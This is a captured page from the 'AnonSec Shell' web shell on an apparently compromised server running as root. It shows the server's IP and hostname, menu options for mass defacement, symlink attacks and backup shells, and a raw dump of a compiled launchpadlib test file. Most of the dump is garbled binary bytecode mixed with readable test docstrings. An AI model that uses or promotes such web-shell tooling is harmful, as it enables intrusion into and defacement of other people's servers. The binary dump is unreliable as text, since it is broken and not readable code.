AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/launchpadlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/launchpadlib/tests/__pycache__/test_http.cpython-310.pyc
o

'[�a�$�@s�dZddlmZddlmZddlZddlZzddlmZWney)e	ZYnwddl
mZddlm
Z
ddlmZmZdd	lmZd
Zei��d�ZGdd
�d
�ZGdd�de�ZGdd�de�ZGdd�dej�ZGdd�de�ZGdd�de�ZdS)z,Tests for the LaunchpadOAuthAwareHTTP class.�)�deque)�dumpsN)�JSONDecodeError)�Unauthorized)�UnencryptedFileCredentialStore)�	Launchpad�LaunchpadOAuthAwareHttp)�NoNetworkAuthorizationEngines�<?xml version="1.0"?>
<application xmlns="http://research.sun.com/wadl/2006/10">
  <resources base="http://www.example.com/">
    <resource path="" type="#service-root"/>
  </resources>

  <resource_type id="service-root">
    <method name="GET" id="service-root-get">
      <response>
        <representation href="#service-root-json"/>
      </response>
    </method>
  </resource_type>

  <representation id="service-root-json" mediaType="application/json"/>
</application>
zutf-8c@seZdZdZdd�ZdS)�ResponsezA fake HTTP response object.cCs||_||_dS�N)�status�content)�selfrr
�r�>/usr/lib/python3/dist-packages/launchpadlib/tests/test_http.py�__init__@s
zResponse.__init__N)�__name__�
__module__�__qualname__�__doc__rrrrrr
=sr
cs(eZdZdZ�fdd�Zdd�Z�ZS)�SimulatedResponsesHttpz<Responds to HTTP requests by shifting responses off a stack.cs&tt|�j|�g|_||_d|_dS)z{Constructor.

        :param responses: A list of HttpResponse objects to use
            in response to requests.
        N)�superrr�sent_responses�unsent_responses�cache)r�	responses�args��	__class__rrrHs
zSimulatedResponsesHttp.__init__cGs,|j��}|j�|�|j||jg|�R�Sr)r�popleftr�append�retry_on_bad_tokenr
)rr�responserrr�_requestSs
zSimulatedResponsesHttp._request)rrrrrr#�
__classcell__rrrrrEsrc@s$eZdZgZdd�Zedd��ZdS)�SimulatedResponsesLaunchpadcGstt|j�||jg|�R�Sr)rrr�authorization_engine)rrrrr�httpFactory_s
��z'SimulatedResponsesLaunchpad.httpFactorycCstt��d|�S)N�)r�tempfile�mkstemp)�cls�credential_save_failedrrr�credential_store_factoryds�z4SimulatedResponsesLaunchpad.credential_store_factoryN)rrrrr'�classmethodr-rrrrr%Ys
r%c@s eZdZdZdd�Zdd�ZdS)�SimulatedResponsesTestCasezATest cases that give fake responses to launchpad's HTTP requests.cCsgt_tdd�|_dS)z*Clear out the list of simulated responses.zhttp://api.example.com/�application nameN)r%rr	�engine�rrrr�setUpns
�z SimulatedResponsesTestCase.setUpcGs|t_tjd|jd�S)aqUse simulated HTTP responses to get a Launchpad object.

        The given Response objects will be sent, in order, in response
        to launchpadlib's requests.

        :param responses: Some number of Response objects.
        :return: The Launchpad object, assuming that errors in the
            simulated requests didn't prevent one from being created.
        r0�r&)r%r�
login_withr1)rrrrr�launchpad_with_responsesus
�z3SimulatedResponsesTestCase.launchpad_with_responsesN)rrrrr3r6rrrrr/ksr/c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�TestAbilityToParseDataa_Test launchpadlib's ability to handle the sample data.

    To create a Launchpad object, two HTTP requests must succeed and
    return usable data: the requests for the WADL and JSON
    representations of the service root. This test shows that the
    minimal data in SIMPLE_WADL and SIMPLE_JSON is good enough to
    create a Launchpad object.
    cCs|�tdt�tdt��dS)z5Make sure that launchpadlib can use the minimal data.��N)r6r
�SIMPLE_WADL�SIMPLE_JSONr2rrr�test_minimal_data�s�z(TestAbilityToParseData.test_minimal_datacCs"|�t|jtdd�tdt��dS)z'Show that bad WADL causes an exception.r8sThis is not WADL.N)�assertRaises�SyntaxErrorr6r
r:r2rrr�
test_bad_wadl���z$TestAbilityToParseData.test_bad_wadlcCs"|�t|jtdt�tdd��dS)z'Show that bad JSON causes an exception.r8sThis is not JSON.N)r<rr6r
r9r2rrr�
test_bad_json�r?z$TestAbilityToParseData.test_bad_jsonN)rrrrr;r>r@rrrrr7�s
		r7c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�TestTokenFailureDuringRequestaTest access token failures during a request.

    launchpadlib makes two HTTP requests on startup, to get the WADL
    and JSON representations of the service root. If Launchpad
    receives a 401 error during this process, it will acquire a fresh
    access token and try again.
    cCsJtdt�tdt�gt_|�|jjd�tjd|jd�|�|jjd�dS)z/If our token is good, we never get another one.r8rr0r4r(N�	r
r9r:r%r�assertEqualr1�access_tokens_obtainedr5r2rrr�test_good_token�s��z-TestTokenFailureDuringRequest.test_good_tokencC�Rtdd�tdt�tdt�gt_|�|jjd�tjd|jd�|�|jjd�dS)	z(If our token is bad, we get another one.��Invalid token.r8rr0r4�NrBr2rrr�test_bad_token����z,TestTokenFailureDuringRequest.test_bad_tokencCrF)	z,If our token is expired, we get another one.rG�Expired token.r8rr0r4rINrBr2rrr�test_expired_token����z0TestTokenFailureDuringRequest.test_expired_tokencCrF)	z,If our token is unknown, we get another one.rGsUnknown access token.r8rr0r4rINrBr2rrr�test_unknown_token�rNz0TestTokenFailureDuringRequest.test_unknown_tokencCsRtdt�tdd�tdt�gt_|�|jjd�tjd|jd�|�|jjd�dS)	z6We get another token no matter when the error happens.r8rGrLrr0r4rINrBr2rrr�test_delayed_error�rKz0TestTokenFailureDuringRequest.test_delayed_errorcCsbtdd�tdt�tdd�tdd�tdt�gt_|�|jjd�tjd|jd�|�|jjd�d	S)
z@We'll keep getting new tokens as long as tokens are the problem.rGrHr8rLrr0r4�NrBr2rrr�test_many_errors�s��z.TestTokenFailureDuringRequest.test_many_errorscCs(tdd�gt_|jttjd|jd�dS)z>If the token is not at fault, a 401 error raises an exception.rGsSome other error.r0r4N)r
r%rr<rr5r1r2rrr�test_other_unauthorizeds�
�z5TestTokenFailureDuringRequest.test_other_unauthorizedN)rrrrrErJrMrOrPrRrSrrrrrA�s
rA)r�collectionsr�jsonrr)�unittestr�ImportError�
ValueError�launchpadlib.errorsr�launchpadlib.credentialsr�launchpadlib.launchpadrr�launchpadlib.testing.helpersr	r9�encoder:r
rr%�TestCaser/r7rArrrr�<module>s,�#

Anon7 - 2022
AnonSec Team